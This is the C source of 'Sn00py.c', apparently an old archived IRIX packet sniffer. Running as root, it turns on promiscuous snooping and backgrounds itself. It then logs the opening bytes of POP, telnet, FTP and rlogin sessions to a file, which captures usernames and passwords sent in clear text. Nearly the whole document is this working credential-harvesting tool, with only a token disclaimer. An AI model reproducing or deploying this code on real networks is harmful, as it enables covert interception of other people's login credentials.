home *** CD-ROM | disk | FTP | other *** search
-
-
- /*---------------------------------------------------------------*/
- /* Sn00py.c - a quick IRIX sniffer.. */
- /* ----------------------------------- */
- /* What: a sniffer, designed for IRIX (5.x, 6.x) machines. */
- /* Why: 'Cause other than try and compile sniffit (ugh), there */
- /* really isn't any sniffer for IRIX boxes, that I know of. */
- /* Who: morpheus. (n00ne@hotmail.com, for comments, flames, etc.)*/
- /* */
- /* Thanks to: SGI (for such great man pages (snoop(7P)) */
- /* whoever wrote Esniff.c =) */
- /*---------------------------------------------------------------*/
-
- /* Notes: I) #include <disclaimer> - This isn't for hacks... */
- /* II) This little proggy has the side effect of setting */
- /* the promiscuous flag. But hey - nobody's perfect. */
- /* (if you ifconfig and dont see the PROMISC flag up */
- /* try setenv'ing interface to the right interface */
- /* (as shown by netstat -i). */
-
- /* #includes... For SOME reason in sgi, <netinet/in.h> relies on */
- /* <netinet/in_systm.h>, which relies, in turn on sys/types.h. */
- /* This order of #includes should do the trick... */
-
- #include <stdlib.h>
- #include <netdb.h>
- #include <sys/types.h>
- #include <netinet/in_systm.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <stdio.h>
- #include <strings.h> /* not really necessary.. */
- #include <sys/types.h>
- #include <net/raw.h>
- #include <netinet/if_ether.h>
-
- /* #define's */
-
- #define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header))
- #define TRUE 1
- #define FALSE 0
- #define MAX_PACKETS 500
- #define MAX_DATA 2048 /* in bytes */
-
-
- char *resolvehost (struct in_addr ip_addr)
- {
- register struct hostent *he;
-
- he = gethostbyaddr ( (char *) &ip_addr.s_addr,
- sizeof(struct in_addr),
- AF_INET);
-
- return ( (he)?
- (he->h_name) :
- (inet_ntoa(ip_addr))
- );
-
-
- }
-
- int filter (char *Packet,
- int Packet_Size,
- struct in_addr IP_Addr1,
- int Port1,
- struct in_addr IP_Addr2,
- int Port2)
- {
-
- /* IP Packet Filtering Procedure */
- /* ----------------------------- */
- /* returns TRUE if Packet is from IP_Addr1:Port1 */
- /* IP_Addr2:Port2, or vice versa.. */
-
- struct ip *IP_Header;
- struct tcphdr *TCP_Header;
-
- if ( (Packet[0] != 0x45) ||
- (Packet[9] != 0x06)
- )
- return (FALSE);
-
-
-
- IP_Header = (struct ip *) Packet;
- TCP_Header = (struct tcphdr *) (Packet +
- 4 * IP_Header->ip_hl);
-
- if (
- ((memcmp (&IP_Header->ip_src, &IP_Addr1, 4) == 0) &&
- (memcmp (&IP_Header->ip_dst, &IP_Addr2, 4) == 0) &&
- (TCP_Header->th_sport == Port1) &&
- (TCP_Header->th_dport == Port2)
- )
- /*
- ||
- ((memcmp (&IP_Header->ip_src, &IP_Addr2, 4) == 0) &&
- (memcmp (&IP_Header->ip_dst, &IP_Addr1, 4) == 0) &&
- (TCP_Header->th_sport == Port2) &&
- (TCP_Header->th_dport == Port1)
- )
- */ )
- { return (TRUE);}
- else
- return (FALSE);
-
-
- }
- int main (int argc, char **argv)
- {
-
- struct etherpacket {
- struct snoopheader snoop;
- char pad[ETHERHDRPAD];
- struct ether_header ether;
- char data[ETHERMTU];
- } ;
- struct snoopfilter {
- u_long sf_mask[SNOOP_FILTERLEN];
- u_long sf_match[SNOOP_FILTERLEN];
- u_short sf_allocated:1,
- sf_active:1,
- sf_promisc:1,
- sf_allmulti:1,
- sf_index:SNOOP_MAXFILTSHIFT;
- u_short sf_port;
- } ;
-
-
- int i, j, k; /* Counters... */
- int bytes_read; /* data count */
- int cc = 60000, on = 1;
- int s; /* Our Snoop Socket... */
-
- char *interface; /* Gets the interface env. var, if set */
-
- struct sockaddr_raw sr;
- struct etherpacket ep,ep1;
- struct snoopfilter sf;
-
- struct ip *IP_Header, *IP_Header1; /* Header ptrs to */
- struct tcphdr *TCP_Header, *TCP_Header1;/* overlay on data */
-
- #define TCP_FLAGS_ARE_SET(flags) (TCP_Header->th_flags & (flags))
-
- short int Source_Port, Dest_Port;
- char *Source_Addr, *Destination_Addr;
-
- char *output_filename;
-
- FILE *output;
-
- output_filename = strdup("OUT");
-
-
- if (geteuid () != 0)
- {
- printf ("Error - You must be root to run this\n");
- exit(-1);
- }
-
-
-
- /* Create the Snoop Socket.... */
- s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
- if (s < 0)
- {
- perror ("Error - Unable to open socket");
- exit(-1);
- }
-
- /* Ready output file.... */
-
- if ((output = fopen(output_filename, "wb")) == NULL)
- {
- printf ("Error - Unable to open output file %s\n", output_filename);
- exit(-1);
- }
-
- sr.sr_family = AF_RAW;
- sr.sr_port = 0;
-
- /* Get the interface name (e.g. ec0, ef0, etc.) from an environment */
- /* variable. Else, if not set, we'll attempt to bind to the primary */
- /* interface... */
-
- interface = getenv ("interface");
- if (!interface)
- /* attempt to bind to primary interface ... */
-
- memset(sr.sr_ifname, 0, sizeof sr.sr_ifname);
-
- else
- strncpy(sr.sr_ifname, interface, sizeof sr.sr_ifname);
-
- if (bind(s, &sr, sizeof sr) < 0)
- {
- perror ("Error - Unable to Bind Socket");
- exit(1);
-
- }
-
- /* Kewl. We're bound. Next, initialize a generic filter, to match all */
- /* packets, and add to the interface's filter set... */
-
- bzero((char *) &sf, sizeof sf);
- ioctl(s, SIOCADDSNOOP, &sf);
-
-
- /* Increase the socket's receive buffer size to a generous upper */
- /* bound, to cope with promiscuous reception of heavy traffic. Turn */
- /* turn snooping on, read captured packets.. */
- /* (yup.. right from the SGI Man..) */
-
- setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc);
- ioctl(s, SIOCSNOOPING, &on);
-
-
- /* If we got here ok - fork. We'll want to be a bg process anyhow */
-
- if (fork())
- exit(0);;
-
- for (;;)
- {
- cc = read(s, (char *) &ep, sizeof ep);
-
- /* ep.data now holds the packet, minus the ethernet header */
- if ((cc > sizeof (struct ip)) &&
- (ep.data[0] == 0x45) &&
- (ep.data[9] == 0x06))
- {
- /* 0x45 = IPv4, and length = 5. So this is a pretty much */
- /* unique Identifier for our purposes... 0x06 = TCP */
- /* Since we checked the header len, we can safely overlay */
- /* the struct ip on the data buffer.... */
-
- IP_Header = (struct ip *) ep.data;
-
- Source_Addr = strdup (resolvehost(IP_Header->ip_src));
- Destination_Addr = strdup (resolvehost(IP_Header->ip_dst));
-
-
- /* Now - carefully overlay the TCP header , right after */
- /* the IP header - that is, at an offset of ip_hl WORDS */
- /* from the beginning (hence the x4). */
-
- TCP_Header = (struct tcphdr *) (ep.data +
- 4 * IP_Header->ip_hl);
-
-
- /* Now - we're only interested in logging the first few */
- /* bytes of each session (hey - we can't log EVERYTHING..) */
- /* so - check for handshakes (see if SYN flag is up...) */
- /* and log FTP, telnet, rlogin, and pop... */
-
-
- if ((TCP_FLAGS_ARE_SET(TH_SYN)) &&
- ((TCP_Header->th_dport == 110) ||
- (TCP_Header->th_dport == 23) ||
- (TCP_Header->th_dport == 21) ||
- (TCP_Header->th_dport == 513)
- )
- )
- {
-
- fprintf (output,
- "Connection :%s(%d) -> %s(%d)\n",
- Source_Addr, TCP_Header->th_sport,
- Destination_Addr, TCP_Header->th_dport);
-
-
- /* Read On */
-
- bytes_read = 0;
- cc = read(s, (char *) &ep1, sizeof ep1);
- for (j=0;
- (j < MAX_PACKETS) && (bytes_read < MAX_DATA) ;
- )
- {
- if (filter(ep1.data, cc,
- IP_Header->ip_src, TCP_Header->th_sport,
- IP_Header->ip_dst, TCP_Header->th_dport)
- )
- {
-
- IP_Header1 = (struct ip *) ep1.data;
- TCP_Header1 = (struct tcphdr *) (ep1.data +
- 4 * IP_Header1->ip_hl);
-
-
-
- if (TCP_Header1->th_flags & (TH_RST | TH_FIN))
- {
- fprintf(output,"\nConnection reset or closed\n");
- j = MAX_PACKETS;
- }
- else
- {
- for (k= 4 * ( IP_Header1->ip_hl +
- TCP_Header1->th_off);
- k < IP_Header1->ip_len;
- k++)
- fputc(ep1.data[k], output);
-
- bytes_read +=
- IP_Header1->ip_len -
- (4 * ( IP_Header1->ip_hl +
- TCP_Header1->th_off));
- }
- /* In any case, inc. packet count... */
- j++;
- }
- cc = read(s, (char *) &ep1, sizeof ep1);
-
- } /* End for j= ..... */
-
- fprintf (output,"\Total bytes: %d\n", bytes_read);
- fflush(output);
-
- } /* End if TCP_FLAGS_ARE_SET */
-
- } /* end if */
-
-
- } /* end for (;;) */
- } /* the end */
-